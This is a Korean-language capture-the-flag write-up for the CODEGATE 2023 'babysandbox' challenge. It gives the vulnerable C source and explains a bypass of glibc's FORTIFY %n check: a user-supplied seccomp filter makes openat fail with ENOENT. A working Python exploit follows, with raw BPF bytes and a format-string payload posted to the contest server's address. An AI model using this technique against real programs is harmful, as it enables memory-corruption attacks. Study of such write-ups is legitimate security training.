Post

CODEGATE2023 Quals babysandbox write-up

문제 분석


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// gcc box.c -o box -no-pie

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>

#define FLAG_PATH "/flag"

int install_seccomp(uint8_t *filt, unsigned short len);
void vuln();
void read_flag();

uint32_t target = 0xdead;

int main(int argc, char **argv) {
    uint32_t filt_len;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    read(0, &filt_len, sizeof(uint32_t));
    if (filt_len > 0x200) {
        __printf_chk(1, "Too much T_T\n");
        return 1;
    }
    uint8_t *filt =  (unsigned char *)calloc(sizeof(uint8_t), filt_len);
    int res = read(0, filt, filt_len);
    if (res != filt_len) {
        __printf_chk(1, "Cannot read enough T_T\n");
        return 1;
    }

    if (install_seccomp(filt, (unsigned short)filt_len))
        return 1;

    vuln();

    return 0;
}

int install_seccomp(unsigned char *filt, unsigned short filt_len) {
    struct prog {
        unsigned short len;
        unsigned char *filt;
    } rule = {
        .len = filt_len >> 3,
        .filt = filt
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
        __printf_chk(1, "Failed to prctl(PR_SET_NO_NEW_PRIVS) T_T\n");
         return 1;
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { 
        __printf_chk(1, "Failed to prctl(PR_SET_SECCOMP) T_T\n");
         return 1;
    }
    return 0;
}

void vuln() {
    char input[0x100];
    memset(input, 0, sizeof(input));

    __printf_chk(1, "Let's check our mitigation ^_^\n");
    __printf_chk(1, "Protect : %p\n", &target);
    int res = read(0, input, sizeof(input) - 1);
    if (res < 0) {
        __printf_chk(1, "Functionality is broken T_T\n");
        return;
    }
    // We have a dangerous vulnerability here!
    __printf_chk(1, input);

    if (target == 0x1337) {
        __printf_chk(1, "Mitigation failed.. The flag has been exposed T_T\n");
        read_flag();
    }
    else {
        __printf_chk(1, "\nNow we are safe from memory corruption! Thank you ^_^\n");
    }
    return;
}

void read_flag() {
    int fd = open(FLAG_PATH, O_RDONLY);
    char flag_buf[0x100];

    if (fd < 0) {
        __printf_chk(1, "Failed to open flag, contact admin please T_T\n");
        exit(1);
    }

    memset(flag_buf, 0, sizeof(flag_buf));
    int res = read(fd, flag_buf, sizeof(flag_buf));

    if (res < 0) {
        __printf_chk(1, "Failed to read flag, contact admin please T_T\n");
        exit(1);        
    }
    close(fd);
    write(1, flag_buf, res);

    return;
}

입력 받은 seccomp 필터를 바이너리에 적용한 후에 FSB를 트리거 할 수 있게 해준다.

target을 0x1337로 변조하면 플래그를 출력해주지만, printf_chk 함수는 %n을 사용하지 못한다.


그러나 read-only 영역에서는 %n을 사용할 수 있으며, glibc에서는 /proc/self/maps를 열어 read-only 영역인지 판단한다.


__readonly_area 함수에서는 해당 포인터가 read-only 영역인지 확인한다. 하지만 fopen에 실패했을 경우 에러코드를 통해 해당 영역이 read-only 영역에 해당하는 지를 반환한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int
__readonly_area (const char *ptr, size_t size)
{
  const void *ptr_end = ptr + size;

  FILE *fp = fopen ("/proc/self/maps", "rce");
  if (fp == NULL)
    {
      /* It is the system administrator's choice to not have /proc
	 available to this process (e.g., because it runs in a chroot
	 environment.  Don't fail in this case.  */
      if (errno == ENOENT
	  /* The kernel has a bug in that a process is denied access
	     to the /proc filesystem if it is set[ug]id.  There has
	     been no willingness to change this in the kernel so
	     far.  */
	  || errno == EACCES)
	return 1;
      return -1;
    }
.
.


seccomp를 통해 openat 시스템콜을 막고 원하는 에러코드를 반환하도록 설정할 수 있다.

한가지 주의해야할 점은 flag 파일을 읽어들일 때도 openat 시스템콜을 사용하므로 인자로 플래그 파일명 포인터가 넘어왔을 때는 허용해주었다.

또한 openat 시스템콜은 rsi를 파일명 포인터로 받으므로 A = args[1]로 설정해주어야 한다.

1
2
3
4
5
6
7
A = sys_number
A != openat ? ok : next
A = args[1]
A == 0x402147 ? ok : next
return ERRNO(2)
ok:
return ALLOW

이제 %n을 사용할 수 있으므로 FSB를 통해 값을 변조하면 된다.

익스플로잇


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64 
from pwn import*

send_payload:list[bytes] = []

bpf = b"\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x04\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x54\x00\x00\x00\xff\x00\x00\x00\x15\x00\x01\x00\x47\x00\x00\x00\x06\x00\x00\x00\x02\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f"
send_payload.append(p32(len(bpf)))
send_payload.append(bytes(bpf))


payload = b''
payload += b'%' + b'4856' + b'c' # 0x1337
payload += b'%d%d%d%d%d%d%d%d%d%n'
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(0x404088)
send_payload.append(payload)

result_payload = b''.join(send_payload)

res = requests.post('http://15.164.245.40:1400/', data={'payload':base64.b64encode(result_payload)})

print(res.text)

레퍼런스


https://0xacb.com/2017/11/19/hxp-flag-store/

This post is licensed under CC BY 4.0 by the author.